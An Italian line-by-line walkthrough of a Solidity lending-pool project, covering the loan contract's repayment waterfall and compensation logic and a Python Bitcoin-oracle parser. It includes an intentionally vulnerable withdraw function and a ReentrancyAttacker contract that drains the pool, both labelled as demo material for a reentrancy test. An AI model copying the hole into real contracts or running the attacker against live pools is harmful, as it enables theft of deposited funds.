36	`address public immutable applicant;`	Chi ha proposto il prestito.
37	`uint256 public immutable loanedAmount;`	Quanto effettivamente disbursato (≤ proposta.amount).
38	`uint256 public immutable collateralPercentage; // frozen snapshot at creation`	Snapshot al deploy. NON cambia col pool (Spec §1.3).
39	`uint256 public immutable expiryBlock;`	Blocco di scadenza.
40	`ILendingPool public immutable lendingPool;`	Pool che ha deployato (= msg.sender al deploy).
41		Vuota.
42	`Contributor[] public contributors;`	Array ordinato (waterfall: DESC initialLocked, tie ASC address).
43	`uint256 public totalInitialLocked;`	Cache della somma di tutte le initialLocked (= loanedAmount).
44	`mapping(address => uint256) public unlockedSoFar;`	Quanto è già stato rimborsato a c (cumulato).
45	`/// O(1) lookup: contributor address -> initialLocked. Zero means 'not a contributor on this loan'.`	Docstring.
46	`mapping(address => uint256) public initialLockedOf;`	Mapping per accesso O(1) (alternativa all'iterazione di contributors[]).
47		Vuota.
48-53	`/// Cumulative compensation paid to a contributor from the compensation pool... monotonically increasing`	Docstring di alreadyCompensated.
54	`mapping(address => uint256) public alreadyCompensated;`	Quanto c ha già ricevuto via comp pool su questo loan (Spec §1.3).
55-58	`/// Cumulative portion... recovered from applicant's later repayments (routed back to the compensation pool)`	Docstring di compRecovered: la parte di alreadyCompensated già 'restituita' al comp pool dai successivi rimborsi.
59	`/// Outstanding claim by the comp pool = alreadyCompensated[c] - compRecovered[c].`	Definizione di outstanding.
60	`mapping(address => uint256) public compRecovered;`	Mapping cumulativa.
61		Vuota.
62	`uint256 public remainingLoanAmount;`	Residuo di base da rimborsare (decrementato dai partialRepay).
63	`Status public status;`	Stato corrente.

L#	Codice	Spiegazione
64		Vuota.
65-69	`/// Terminal flag — once true, no state-changing operation is permitted... selfdestruct alternative`	Docstring di terminated: post-EIP-6049 selfdestruct deprecato, usiamo flag.
70	`bool public terminated;`	Flag.
71		Vuota.
72-76	`event LoanCreated(...);`	Evento al deploy.
77-82	`event Repayment(uint256 baseAmount, uint256 interestAmount, uint256 toCompensation, uint256 remaining);`	Evento ad ogni partialRepay.
83	`event LoanClosed(Status status);`	Evento alla chiusura Successful.
84	`event MarkedFailed();`	Evento sulla transition → Failed.
85-89	`event CompensationRequested(address indexed contributor, uint256 owed, uint256 paid);`	Evento su requestCompensation.
90	`event LoanTerminated(address indexed loan);`	Evento su terminate.
91		Vuota.
92-94	`modifier onlyApplicant() { require(msg.sender == applicant, "Only applicant"); _; }`	Guard: solo applicant può rimborsare.
95-99	`modifier onlyLendingPool() { require(msg.sender == address(lendingPool), "Only LendingPool"); _; }`	Guard: solo il pool che ha deployato.
100-104	`modifier notTerminated() { require(!terminated, "Terminated"); _; }`	Guard: blocca tutte le mutazioni post-terminate().
105		Vuota.
106-113	`constructor(address _applicant, uint256 _loanedAmount, uint256 _collateralPercentage, uint256 _expiryBlock, address[] memory _contribAddrs, uint256[] memory _contribLocks) payable {`	Costruttore payable: msg.value=loanedAmount viene depositato dal pool.
114	`require(_applicant != address(0), "Zero applicant");`	Validation.
115	`require(_loanedAmount > 0, "Zero loaned");`	Validation.
116	`require(msg.value == _loanedAmount, "Bad msg.value");`	Invariante: pool DEVE passare il loaned esatto.
117-120	`require(_contribAddrs.length == _contribLocks.length, "Length mismatch");`	Arrays parallele.
121	`require(_contribAddrs.length > 0, "No contributors");`	Validation.
122-125	`require(_collateralPercentage >= 1 && _collateralPercentage <= 100, "Bad pct");`	Range Spec §1.3.
126		Vuota.
127	`applicant = _applicant;`	Set immutable.
128	`loanedAmount = _loanedAmount;`	Set immutable.
129	`collateralPercentage = _collateralPercentage;`	Snapshot.
130	`expiryBlock = _expiryBlock;`	Set.
131	`lendingPool = ILendingPool(msg.sender);`	Pool = chi mi ha deployato.
132		Vuota.
133	`uint256 sum = 0;`	Validatore sum=loanedAmount.
134	`for (uint256 i = 0; i < _contribAddrs.length; i++) {`	Loop contributor.
135	`require(_contribAddrs[i] != address(0), "Zero contributor");`	Validation.
136	`require(_contribLocks[i] > 0, "Zero lock");`	Validation.
137-140	`require(initialLockedOf[_contribAddrs[i]] == 0, "Duplicate contributor");`	Anti-duplicato.
141-146	`contributors.push(Contributor({addr: _contribAddrs[i], initialLocked: _contribLocks[i]}));`	Push nell'array (ordine preservato dal pool).
147	`initialLockedOf[_contribAddrs[i]] = _contribLocks[i];`	O(1) map.
148	`sum += _contribLocks[i];`	Accumula.
149	`}`	Fine for.
150	`require(sum == _loanedAmount, "Sum mismatch");`	Invariante.
151	`totalInitialLocked = sum;`	Cache.
152		Vuota.
153	`remainingLoanAmount = _loanedAmount;`	Inizializza residuo.
154	`status = Status.Active;`	Stato iniziale.
155		Vuota.

L#	Codice	Spiegazione
156	`(bool ok, ) = _applicant.call{value: _loanedAmount}("");`	Disbursement all'applicant (Spec §1.3: 'loan amount disbursed'). Stato già completamente settato.
157	`require(ok, "Disburse failed");`	Revert.
158		Vuota.
159-164	`emit LoanCreated(_applicant, _loanedAmount, _expiryBlock, _collateralPercentage);`	Evento.
165	`}`	Fine costruttore.
166		Vuota.
167	`// ■■ Views ■■■■■■■■■■■■■■■`	Divider.
168		Vuota.
169-171	`function contributorCount() external view returns (uint256) { return contributors.length; }`	View.
172		Vuota.
173-175	`function isExpired() external view returns (bool) { return block.number > expiryBlock; }`	View. Strict >: spec 'current time > expiration date'.
176		Vuota.
177	`// ■■ Status transitions ■■■■■■■■■■■■■■■`	Divider.
178		Vuota.
179-180	`/// Called by LendingPool when a contributor requests compensation on this loan.`	Docstring markFailed.
181	`function markFailed() external onlyLendingPool notTerminated {`	Hook esposto al pool (oggi non usato: la transizione avviene dentro requestCompensation).
182	`require(status == Status.Active, "Not active");`	Una volta sola.
183	`status = Status.Failed;`	Transition.
184	`emit MarkedFailed();`	Evento.
185	`}`	Fine.
186		Vuota.
187	`// ■■ Repayment ■■■■■■■■■■■■■■■`	Divider.
188		Vuota.
189	`function partialRepay() external payable onlyApplicant notTerminated {`	Spec §1.3: 'only the original applicant may repay'. Anche dopo Failed (Spec §1.3).
190-193	`require(status == Status.Active || status == Status.Failed, "Loan closed");`	Non Successful.
194	`require(msg.value > 0, "Zero value");`	Validation.
195		Vuota.
196	`// Step 1 — Split payment`	Commento.
197-199	`uint256 baseAmount = msg.value > remainingLoanAmount ? remainingLoanAmount : msg.value;`	Base = min(msg.value, residuo).
200	`uint256 interest = msg.value - baseAmount;`	Resto = interesse.
201		Vuota.
202	`uint256 n = contributors.length;`	Cache count.
203		Vuota.
204-213	`// Step 2 — Distribute base in waterfall order (spec)...`	Lungo commento che spiega la math del waterfall + invariante della saturazione esatta.
214	`uint256 baseRemaining = baseAmount;`	Resto da distribuire.
215	`uint256 baseToComp = 0;`	Forfeit accumulato per comp pool.
216	`if (baseAmount > 0) {`	Solo se c'è base.
217	`for (uint256 i = 0; i < n && baseRemaining > 0; i++) {`	Loop waterfall.
218	`Contributor memory c = contributors[i];`	Pivot.
219-221	`uint256 capacity = c.initialLocked - unlockedSoFar[c.addr] - compRecovered[c.addr];`	Capacity rimasta da saturare per c.
222	`if (capacity == 0) continue;`	Skip se già saturato.
223-225	`uint256 take = baseRemaining < capacity ? baseRemaining : capacity;`	Take = min.
226	`baseRemaining -= take;`	Decremento residuo.
227-230	`(uint256 toComp_, uint256 toC_) = _splitBaseForfeit(c.addr, take);`	Split: parte va a c via repayLockedValue, parte al comp pool per recuperare advance.
231	`if (toComp_ > 0) {`	Se forfeit > 0.
232	`baseToComp += toComp_;`	Accumula.
233	`compRecovered[c.addr] += toComp_;`	Aggiorna outstanding (vedremo che toComp si somma a compRecovered).
234	`}`	Fine if.

L#	Codice	Spiegazione
235	`if (toC_ > 0) {`	Se quota netta a c > 0.
236	`unlockedSoFar[c.addr] += toC_;`	Aggiorna cumulato.
237	`lendingPool.repayLockedValue{value: toC_}(c.addr, toC_);`	Forwarda al pool che decrementa lockedValue e accetta gli wei.
238	`}`	Fine if.
239	`}`	Fine for.
240	`}`	Fine if base.
241		Vuota.
242-248	`// Step 3 — Split interest: collateral → comp pool, gain → contributors. Gain forfeit uses different ratio than base.`	Commento math interesse.
249	`uint256 collateralAmount = (interest * collateralPercentage) / 100;`	Collateral del loan (snapshot).
250	`uint256 gain = interest - collateralAmount;`	Gain restante.
251		Vuota.
252	`uint256 gainDistributed = 0;`	Quanto effettivamente uscito.
253	`uint256 gainToComp = 0;`	Forfeit gain → comp pool.
254	`if (gain > 0) {`	Solo se gain > 0.
255	`for (uint256 i = 0; i < n; i++) {`	Loop contributor.
256	`Contributor memory c = contributors[i];`	Pivot.
257	`uint256 g = (gain * c.initialLocked) / totalInitialLocked;`	Quota gain proporzionale (Spec §1.3).
258	`if (g == 0) continue;`	Skip 0.
259	`gainDistributed += g;`	Accumula.
260-262	`(uint256 gComp, uint256 gC) = _splitGainForfeit(c.addr, g);`	Split: parte va a c via creditInterest, parte forfeit al comp pool.
263	`if (gComp > 0) gainToComp += gComp;`	Accumula forfeit.
264	`if (gC > 0) lendingPool.creditInterest{value: gC}(c.addr);`	Credit gain a c.
265	`}`	Fine for.
266	`}`	Fine if gain.
267	`uint256 gainLeftover = gain - gainDistributed;`	Floor leftover. Spec §1.3: 'leftover credited to compensation pool'.
268		Vuota.
269	`// Step 4 — Update remaining and close if fully repaid.`	Commento.
270	`remainingLoanAmount -= baseAmount;`	Decrementa residuo.
271		Vuota.
272-274	`uint256 toComp = collateralAmount + gainLeftover + baseToComp + gainToComp;`	Tutto verso comp pool: collateral + gain leftover + base forfeit + gain forfeit.
275		Vuota.
276	`if (remainingLoanAmount == 0) {`	Chiusura totale.
277	`bool wasFailed = status == Status.Failed;`	Memorizza.
278		Vuota.
279-291	`// Residue pass — defensive close-out per contributor...`	Lungo commento: in caso comune è no-op. Recupera eventuali gap + dust difensivamente.
292	`for (uint256 i = 0; i < n; i++) {`	Loop.
293	`address addr = contributors[i].addr;`	Address.
294	`uint256 il = contributors[i].initialLocked;`	Initial.
295		Vuota.
296	`uint256 gap = alreadyCompensated[addr] - compRecovered[addr];`	Outstanding non recuperato.
297	`if (gap > 0) {`	Se c'è gap.
298	`compRecovered[addr] += gap;`	Aggiorna recovered.
299	`lendingPool.addToCompensationPool{value: gap}();`	Route al comp pool.
300	`}`	Fine.
301-303	`uint256 residue = il - unlockedSoFar[addr] - compRecovered[addr];`	Dust residuo non ancora settled.
304	`if (residue > 0) {`	Se dust.
305	`unlockedSoFar[addr] += residue;`	Aggiorna.
306	`lendingPool.repayLockedValue{value: residue}(addr, residue);`	Repay finale.
307	`}`	Fine.
308	`}`	Fine for.
309		Vuota.

L#	Codice	Spiegazione
310-311	`// Forward this repayment's comp contribution; then sweep any remaining dust`	Commento.
312	`if (toComp > 0) {`	Forward.
313	`lendingPool.addToCompensationPool{value: toComp}();`	Route.
314	`}`	Fine.
315	`uint256 sweep = address(this).balance;`	Sweep.
316	`if (sweep > 0) {`	Se dust residuo.
317	`lendingPool.addToCompensationPool{value: sweep}();`	Comp pool.
318	`}`	Fine.
319		Vuota.
320	`if (!wasFailed) {`	Solo se non era Failed (Spec §1.3 'failed cannot become Successful').
321	`status = Status.Successful;`	Transition.
322	`lendingPool.decreaseCollateral();`	-5 (Spec §1.3).
323	`lendingPool.markLoanClosed();`	Self-deregistration.
324	`emit LoanClosed(Status.Successful);`	Evento.
325	`}`	Fine.
326-329	`// A failed loan that gets fully repaid stays Failed and stays registered`	Commento spec compliance.
330	`emit Repayment(baseAmount, interest, toComp + sweep, 0);`	Evento.
331	`} else {`	Else: rimborso parziale.
332	`if (toComp > 0) {`	Solo se ci sono soldi da comp pool.
333	`lendingPool.addToCompensationPool{value: toComp}();`	Forward.
334	`}`	Fine.
335	`emit Repayment(baseAmount, interest, toComp, remainingLoanAmount);`	Evento.
336	`}`	Fine else.
337	`}`	Fine partialRepay.
338		Vuota.
339	`// ■■ Compensation ■■■■■■■■■■■■■`	Divider.
340		Vuota.
341-352	`/// Claim compensation from the pool for value locked in this loan...`	Docstring lunga: spiega quando callable, gli effetti, e la CEI.
353	`function requestCompensation() external notTerminated {`	Spec §1.3: chiamabile da qualunque contributor del loan.
354-359	`// Loan must be 'failed' for compensation purposes...`	Commento condizioni.
360	`require(status != Status.Successful, "Loan successful");`	No claims su success.
361		Vuota.
362	`if (status == Status.Active) {`	Prima volta? Transition →Failed.
363	`require(block.number > expiryBlock, "Not expired");`	Spec §1.3: 'current time > expiration date'.
364	`require(remainingLoanAmount > 0, "Fully repaid");`	Spec §1.3: 'not fully repaid'.
365	`status = Status.Failed;`	Transition.
366	`lendingPool.increaseCollateral();`	+5 (Spec §1.3 'influencing the global collateral percentage accordingly').
367	`emit MarkedFailed();`	Evento.
368	`}`	Fine if.
369	`// Invariant past this point: status == Status.Failed.`	Commento.
370		Vuota.
371	`uint256 locked = initialLockedOf[msg.sender];`	Quota originale di chi chiama.
372	`require(locked > 0, "Not a contributor");`	Validation.
373		Vuota.
374-376	`uint256 owed = locked - unlockedSoFar[msg.sender] - alreadyCompensated[msg.sender];`	Spec §1.3: 'recoup the value locked not yet repaid'.
377	`require(owed > 0, "Nothing owed");`	Validation.
378		Vuota.
379-382	`// Step 2/3 — pay min(owed, comp pool). CEI...`	Commento.

L#	Codice	Spiegazione
383	`uint256 avail = lendingPool.compensationPool();`	Saldo pool.
384	`uint256 paid = owed > avail ? avail : owed;`	Spec §1.3 'less than owed if not enough'.
385		Vuota.
386	`alreadyCompensated[msg.sender] += paid;`	CEI: aggiorna PRIMA della call esterna (anti-reentrancy).
387		Vuota.
388	`if (paid > 0) {`	Solo se c'è quota.
389	`lendingPool.compensateFromPool(msg.sender, paid);`	Drena comp pool e paga.
390	`}`	Fine if.
391		Vuota.
392	`emit CompensationRequested(msg.sender, owed, paid);`	Evento.
393	`}`	Fine requestCompensation.
394		Vuota.
395-412	`/// Permissionless terminator. Callable by anyone once conditions hold...`	Lunga docstring di terminate(): pre-conditions, side-effects, riferimento Spec §1.5 [R3].
413	`function terminate() external {`	Permissionless cleanup.
414	`require(!terminated, "Already terminated");`	Anti-doppio.
415		Vuota.
416	`if (status == Status.Successful) {`	Branch 1.
417-419	`// Successful loans already deregistered at close — nothing more to do`	Commento: no-op nel branch.
420	`} else if (status == Status.Failed) {`	Branch 2.
421-422	`// Every contributor's claim must be fully settled`	Commento.
423	`uint256 n = contributors.length;`	Cache.
424	`for (uint256 i = 0; i < n; i++) {`	Loop.
425	`address c = contributors[i].addr;`	Address.
426	`uint256 il = contributors[i].initialLocked;`	Initial.
427-429	`uint256 owed = il - unlockedSoFar[c] - alreadyCompensated[c];`	Outstanding.
430	`require(owed == 0, "Outstanding compensation");`	Tutti devono essere settled.
431	`}`	Fine for.
432-433	`// Forward residual through the tracked path BEFORE deregistering`	Commento.
434	`if (address(this).balance > 0) {`	Se residual.
435-437	`lendingPool.addToCompensationPool{value: address(this).balance}();`	Forward.
438	`}`	Fine.
439	`lendingPool.markLoanClosed();`	Deregistra.
440	`} else {`	Branch 3 = Active.
441-442	`// Status.Active — loan still in progress.`	Commento.
443	`revert("Loan still active");`	Reverte: non terminabile.
444	`}`	Fine.
445		Vuota.
446-450	`// Final sweep for force-sent ETH (selfdestruct of another contract)...`	Commento defensivo: gestisce iniezione forzata via selfdestruct.
451	`uint256 bal = address(this).balance;`	Balance.
452	`if (bal > 0) {`	Sweep.
453	`(bool ok, ) = address(lendingPool).call{value: bal}("");`	Forward al pool (riceve via receive() vuoto).
454	`require(ok, "Forward failed");`	Validation.
455	`}`	Fine.
456		Vuota.
457	`terminated = true;`	Alza flag.
458	`emit LoanTerminated(address(this));`	Evento.
459	`}`	Fine terminate.
460		Vuota.
461-469	`/// Forfeit split for a base waterfall slice...`	Lunga docstring di _splitBaseForfeit. Spiega che con saturazione il floor è esatto.
470-473	`function _splitBaseForfeit(address c, uint256 share) internal view returns (uint256 toComp, uint256 toC) {`	Helper.

L#	Codice	Spiegazione
474	`uint256 outstanding = alreadyCompensated[c] - compRecovered[c];`	Outstanding.
475	`if (outstanding == 0) {`	Short circuit.
476	`return (0, share);`	Tutto a c.
477	`}`	Fine.
478-480	`uint256 remainingShare = initialLockedOf[c] - unlockedSoFar[c] - compRecovered[c];`	Quota residua da rimborsare.
481	`if (remainingShare == 0) {`	Edge case.
482-483	`return (0, share);`	Shouldn't happen, but defensive.
484	`}`	Fine.
485	`toComp = (share * outstanding) / remainingShare;`	Forfeit proporzionale all'outstanding rimanente.
486	`if (toComp > outstanding) toComp = outstanding;`	Cap difensivo.
487	`if (toComp > share) toComp = share;`	Cap difensivo.
488	`toC = share - toComp;`	Resto a c.
489	`}`	Fine.
490		Vuota.
491-499	`/// Proportional forfeit split for a gain share...`	Docstring _splitGainForfeit.
500-503	`function _splitGainForfeit(address c, uint256 g) internal view returns (uint256 gComp, uint256 gC) {`	Helper.
504	`uint256 ac = alreadyCompensated[c];`	Cumulato.
505	`if (ac == 0) {`	Short circuit.
506	`return (0, g);`	Tutto a c.
507	`}`	Fine.
508	`uint256 il = initialLockedOf[c];`	Quota originale.
509	`gComp = (g * ac) / il;`	Forfeit costante: ratio ac/il.
510	`if (gComp > g) gComp = g; // safety; ratio ≤ 1 since ac ≤ il.`	Safety cap.
511	`gC = g - gComp;`	Resto.
512	`}`	Fine.
513		Vuota.
514-518	`// No receive()/fallback: all ETH inflows must go through partialRepay (payable)...`	Commento di design: no receive() = ogni wei tracked. Eccezione selfdestruct gestita da terminate().
519	`}`	Fine contratto.

contracts/vulnerable/LendingPoolVulnerable.sol

Versione bacata di LendingPool, identica all'originale tranne nel withdraw. Usata in Reentrancy.test.js.

L#	Codice	Spiegazione
1-2	`// SPDX-License-Identifier: MIT pragma solidity ^0.8.22;`	Licenza + pragma.
3		Vuota.
4-12	`/// @dev VULNERABLE FOR DEMO — DO NOT DEPLOY /// @notice Copy of LendingPool with withdraw() intentionally broken... three changes summarized.`	Docstring: avverte che è demo, elenca le tre modifiche rispetto al sicuro.
13		Vuota.
14-16	`import OZ Initializable / UUPS / Ownable`	Stessi import del production.
17		Vuota.
18	`import "../LoanContract.sol";`	Riusa LoanContract reale.
19		Vuota.
20-25	`interface IBitcoinOracleV { ... }`	Interfaccia oracle (suffisso V per evitare clash con quella del production se importate insieme).
26		Vuota.
27-31	`contract LendingPoolVulnerable is Initializable, UUPSUpgradeable, OwnableUpgradeable {`	Stessa eredità.
32	`uint256 private _reentrancyStatus;`	Flag (stesso slot logico).
33		Vuota.
34-37	`uint256 public constant MIN_DEPOSIT/INITIAL_COLLATERAL_PCT/PROPOSAL_VOTING_PERIOD/COLLATERAL_STEP`	Stesse costanti.
38		Vuota.
39	`IBitcoinOracleV public oracle;`	Stesso storage.
40		Vuota.
41-44	`uint256 public totalFundingPool/totalLocked/compensationPool/collateralPercentage;`	Stesso storage.
45		Vuota.
46-47	`mapping(address => uint256) public deposits/lockedValue;`	Stesso.
48		Vuota.
49	`mapping(address => bool) public isActiveLoan;`	Stesso.
50		Vuota.
51-55	`enum ProposalStatus { Active, Approved, Rejected }`	Stesso.
56		Vuota.
57-68	`struct Proposal { ... }`	Stesso struct.
69		Vuota.
70	`uint256 public proposalCount;`	Stesso.
71	`mapping(uint256 => Proposal) internal _proposals;`	Stesso.
72		Vuota.
73-74	`address[] private _contributorList; mapping(address => bool) private _contributorTracked;`	Stesso.
75		Vuota.
76	`event Deposited(address indexed contributor, uint256 amount);`	Evento.
77	`event Withdrawn(address indexed contributor, uint256 amount);`	Evento.
78		Vuota.
79	`/// @custom:oz-upgrades-unsafe-allow constructor`	Annotazione OZ.
80	`constructor() {`	Costruttore.
81	`_disableInitializers();`	Disabilita.
82	`}`	Fine.
83		Vuota.
84	`function initialize(address _oracle) external initializer {`	Init.
85	`__Ownable_init(msg.sender);`	Owner.
86	`_reentrancyStatus = 1;`	Free.
87	`oracle = IBitcoinOracleV(_oracle);`	Set.
88	`collateralPercentage = INITIAL_COLLATERAL_PCT;`	Init.

L#	Codice	Spiegazione
89	`}`	Fine.
90		Vuota.
91-96	`modifier nonReentrant() { ... }`	Stesso modifier (esiste, ma non applicato a withdraw).
97		Vuota.
98-110	`function disposableValue/totalDisposable/isContributor/deposit`	Stesse: deposit ha nonReentrant come nel production.
111-120	`deposit() identico al production (con nonReentrant)`	Solo withdraw è diverso.
121		Vuota.
122-130	`// ■■ VULNERABLE WITHDRAW ■■■■■ // 3 differenze elencate in commento`	Commento delle modifiche: no nonReentrant, call before state, unchecked.
131	`function withdraw(uint256 amount) external {`	*** Manca nonReentrant. ***
132	`require(amount > 0, "Zero amount");`	Validation.
133-136	`require(disposableValue(msg.sender) >= amount, "Insufficient disposable");`	Validation.
137	`// INTERACTION BEFORE EFFECTS — vulnerable`	Commento attacco.
138	`(bool ok, ) = msg.sender.call{value: amount}("");`	*** Call PRIMA del state update — viola CEI. ***
139	`require(ok, "Transfer failed");`	Validation.
140	`unchecked {`	*** Wrap unchecked per silent underflow. ***
141	`deposits[msg.sender] -= amount;`	Decremento (silenzia underflow in re-entry).
142	`totalFundingPool -= amount;`	Idem.
143	`}`	Fine unchecked.
144	`emit Withdrawn(msg.sender, amount);`	Evento.
145	`}`	Fine withdraw vulnerable.
146		Vuota.
147	`// UUPS`	Divider.
148	`function _authorizeUpgrade(address) internal override onlyOwner {}`	UUPS hook.
149		Vuota.
150	`receive() external payable {}`	Receive.
151	`}`	Fine contratto.

contracts/vulnerable/ReentrancyAttacker.sol

L#	Codice	Spiegazione
1-2	`// SPDX-License-Identifier: MIT pragma solidity ^0.8.22;`	Licenza + pragma.
3		Vuota.
4-7	`/// @dev FOR DEMO ONLY — exploits LendingPoolVulnerable.withdraw(). Pattern: deposit small, withdraw + receive() re-entry until pool drained.`	Docstring.
8		Vuota.
9-13	`interface ILendingPoolVuln { deposit; withdraw; deposits(...) }`	Interfaccia minima del target.
14		Vuota.
15	`contract ReentrancyAttacker {`	Contratto attaccante.
16	`ILendingPoolVuln public immutable pool;`	Target.
17	`address public immutable owner;`	Deployer.
18	`uint256 public attackAmount;`	Importo per attacco (settato al deposit).
19	`uint256 public attackCount;`	Counter di re-entries.
20	`uint256 public constant MAX_REENTRIES = 5;`	Cap demo (per limitare drain).
21		Vuota.
22	`constructor(address _pool) {`	Costruttore.
23	`pool = ILendingPoolVuln(_pool);`	Set.
24	`owner = msg.sender;`	Owner = deployer.
25	`}`	Fine.
26		Vuota.
27	`/// Bootstrap: deposit so the attacker passes the `disposableValue >= amount` check`	Docstring.
28	`function deposit() external payable {`	Bootstrap.
29	`require(msg.value > 0, "zero deposit");`	Validation.
30	`attackAmount = msg.value;`	Salva.
31	`pool.deposit{value: msg.value}();`	Forwarda al pool.
32	`}`	Fine.
33		Vuota.
34	`/// Allow attacker contract to fund the initial deposit`	Docstring.
35	`receive() external payable {`	*** RE-ENTRY POINT. ***
36-39	`// Re-enter only when called back by the pool during withdraw(). attackCount < MAX_REENTRIES + balance check`	Commento condizioni.
40-43	`if (attackCount < MAX_REENTRIES && address(pool).balance >= attackAmount) {`	Limita re-entries + verifica fondi disponibili.
44	`attackCount++;`	Incrementa.
45	`pool.withdraw(attackAmount);`	*** Nested withdraw → drena di nuovo. ***
46	`}`	Fine if.
47	`}`	Fine receive.
48		Vuota.
49	`function attack() external {`	Entry-point esterno.
50	`require(msg.sender == owner, "not owner");`	Auth.
51	`pool.withdraw(attackAmount);`	Trigger principale: chiama withdraw che richiamerà receive().
52	`}`	Fine.
53		Vuota.
54	`/// Drain accumulated ETH back to the deployer for assertion convenience`	Docstring.
55	`function sweep(address payable to) external {`	Sweep utility.
56	`require(msg.sender == owner, "not owner");`	Auth.
57	`(bool ok, ) = to.call{value: address(this).balance}("");`	Forward.
58	`require(ok, "sweep failed");`	Validation.
59	`}`	Fine.
60	`}`	Fine contratto.

oracle/oracle_service.py

Demone off-chain: legge blk.dat, costruisce UTXO set, ascolta UpdateRequested e scrive saldi on-chain.

L#	Codice	Spiegazione
1	`import os`	stdlib path manipulation.
2	`import time`	Per polling sleep.
3	`import json`	Parse contract_info JSON.
4	`from pathlib import Path`	Path resolution.
5	`from web3 import Web3`	Client RPC Ethereum.
6	`from web3.middleware import ExtraDataToPOAMiddleware`	PoA middleware (Clique > 32-byte extradata).
7	`from bitcoin.core import CBlock`	Parser blocco Bitcoin.
8	`from bitcoin.core.script import CScript`	Parser scriptPubKey.
9	`from bitcoin.wallet import CBitcoinAddress`	Decoding script → address Base58/Bech32.
10		Vuota.
11-12	`# Configurazioni — path risolti rispetto alla posizione di questo script,`	Commento rationale path.
13	`SCRIPT_DIR = Path(__file__).resolve().parent`	Directory dello script (eseguibile da qualunque cwd).
14	`PROJECT_ROOT = SCRIPT_DIR.parent`	Root del progetto.
15		Vuota.
16	`WEB3_PROVIDER_URI = 'http://127.0.0.1:8545'`	Endpoint HTTP del nodo geth.
17	`CHAIN_DATA_DIR = str(PROJECT_ROOT / 'chaindata')`	Cartella che contiene i blk.dat di Bitcoin mainnet.
18-22	`# Spec §1.4: oracolo elabora i primi 131k blocchi mainnet...`	Commento spec compliance + size.
23	`MAX_BLOCKS = 131000`	Spec §1.4.
24	`MAX_BLK_FILES = 2`	Cap difensivo sul numero di blk*.dat.
25	`POLL_INTERVAL = 2`	Sec tra polling del filter.
26		Vuota.
27	`CONTRACT_INFO_FILE = str(PROJECT_ROOT / 'data' / 'oracle_contract_info.json')`	Path config emesso da InitialSetup.py.
28		Vuota.
29	`MAINNET_MAGIC = b'\xf9\xbe\xb4\xd9'`	Magic bytes del block header Bitcoin mainnet.
30		Vuota.
31		Vuota.
32	`def extract_address(script_pubkey):`	Helper: scriptPubKey → address string o None.
33	`try:`	Try parse.
34	`addr = CBitcoinAddress.from_scriptPubKey(CScript(script_pubkey))`	Decode dello scriptPubKey.
35	`return str(addr)`	Ritorna address come stringa.
36	`except Exception:`	Script non parsable (OP_RETURN, non-standard).
37	`return None`	Skip output.
38		Vuota.
39		Vuota.
40	`def load_all_blocks():`	Fase 1: legge tutti i blocchi raw da blk.dat.
41	`"""Prima passata: carica tutti i blocchi da blk.dat in un dict hash->blocco."""`	Docstring.
42	`blocks = {} # block_hash_hex -> (prevhash_hex, CBlock)`	Dict di blocchi.
43	`file_idx = 0`	Indice file.
44		Vuota.
45	`while file_idx < MAX_BLK_FILES:`	Loop sui file.
46	`filename = os.path.join(CHAIN_DATA_DIR, f"blk{file_idx:05d}.dat")`	Nome file (blk00000.dat, blk00001.dat).
47	`if not os.path.exists(filename):`	Se mancante, esci.
48	`break`	Out.
49		Vuota.
50	`print(f"Lettura {filename}...")`	Progress.
51	`with open(filename, 'rb') as f:`	Apri binary.
52	`while True:`	Loop blocchi nel file.
53	`magic = f.read(4)`	Magic 4 bytes.
54	`if len(magic) < 4:`	EOF.
55	`break`	Out.
56	`if magic != MAINNET_MAGIC:`	Skip se non magic mainnet.
57	`continue`	Next iter.
58	`size_bytes = f.read(4)`	Size del blocco (LE 4 bytes).

L#	Codice	Spiegazione
59	`if len(size_bytes) < 4:`	EOF.
60	`break`	Out.
61	`size = int.from_bytes(size_bytes, 'little')`	Decode size.
62	`block_data = f.read(size)`	Leggi blocco raw.
63	`if len(block_data) < size:`	EOF inatteso.
64	`break`	Out.
65	`try:`	Try deserialize.
66	`block = CBlock.deserialize(block_data)`	Parse CBlock.
67	`block_hash = block.GetHash().hex()`	Hash del blocco (hex).
68	`prevhash = block.hashPrevBlock.hex()`	Hash del previous.
69	`blocks[block_hash] = (prevhash, block)`	Salva in dict.
70	`except Exception:`	Block malformato.
71	`pass`	Skip.
72		Vuota.
73	`file_idx += 1`	Prossimo file.
74		Vuota.
75	`print(f"Blocchi caricati: {len(blocks)}")`	Progress.
76	`return blocks`	Ritorna dict.
77		Vuota.
78		Vuota.
79	`def sort_blocks_by_height(blocks):`	Fase 2: ordina per altezza dalla genesis.
80	`"""Seconda passata: ordina i blocchi seguendo la chain dal genesis."""`	Docstring.
81-84	`prev_to_hash = {prevhash: bh for bh, (prevhash, _) in blocks.items()}`	Mappa inversa prevhash → block_hash.
85		Vuota.
86	`GENESIS_PREVHASH = '0' * 64`	Genesis ha prevhash zero.
87	`if GENESIS_PREVHASH not in prev_to_hash:`	Sanity.
88	`raise ValueError("Genesis block non trovato nei file blk.dat")`	Errore.
89		Vuota.
90	`ordered = []`	Lista finale.
91	`current_prev = GENESIS_PREVHASH`	Start dal genesis.
92		Vuota.
93	`while current_prev in prev_to_hash and len(ordered) < MAX_BLOCKS:`	Stop a MAX_BLOCKS o quando finisce la chain.
94	`current_hash = prev_to_hash[current_prev]`	Block successivo.
95	`_, block = blocks[current_hash]`	Ottieni il CBlock.
96	`ordered.append(block)`	Aggiungi.
97	`current_prev = current_hash`	Avanza.
98		Vuota.
99	`print(f"Blocchi ordinati in catena: {len(ordered)}")`	Progress.
100	`return ordered`	Ritorna.
101		Vuota.
102		Vuota.
103	`def process_block(block, utxos, balances):`	Fase 3: applica un blocco al UTXO set.
104	`"""Processa un singolo blocco: aggiorna UTXO set e saldi."""`	Docstring (Spec §1.4 one block at a time).
105	`for tx in block.vtx:`	Itera tutte le tx del blocco.
106	`txid_hex = tx.GetTxid().hex()`	TxID hex.
107		Vuota.
108	`# Rimuovi input (spendi UTXO esistenti)`	Commento.
109	`if not tx.is_coinbase():`	Coinbase non ha input.
110	`for vin in tx.vin:`	Loop inputs.
111	`prev_txid = vin.prevout.hash[::-1].hex() # little-endian -> big-endian`	TxID precedente (riscritto BE per matching).
112	`prev_n = vin.prevout.n`	Output index.
113	`key = (prev_txid, prev_n)`	Chiave UTXO.
114	`if key in utxos:`	Se conosciuto.
115	`addr, val = utxos.pop(key)`	Rimuovi dall'UTXO set.
116	`balances[addr] = balances.get(addr, 0) - val`	Decrementa saldo.
117		Vuota.
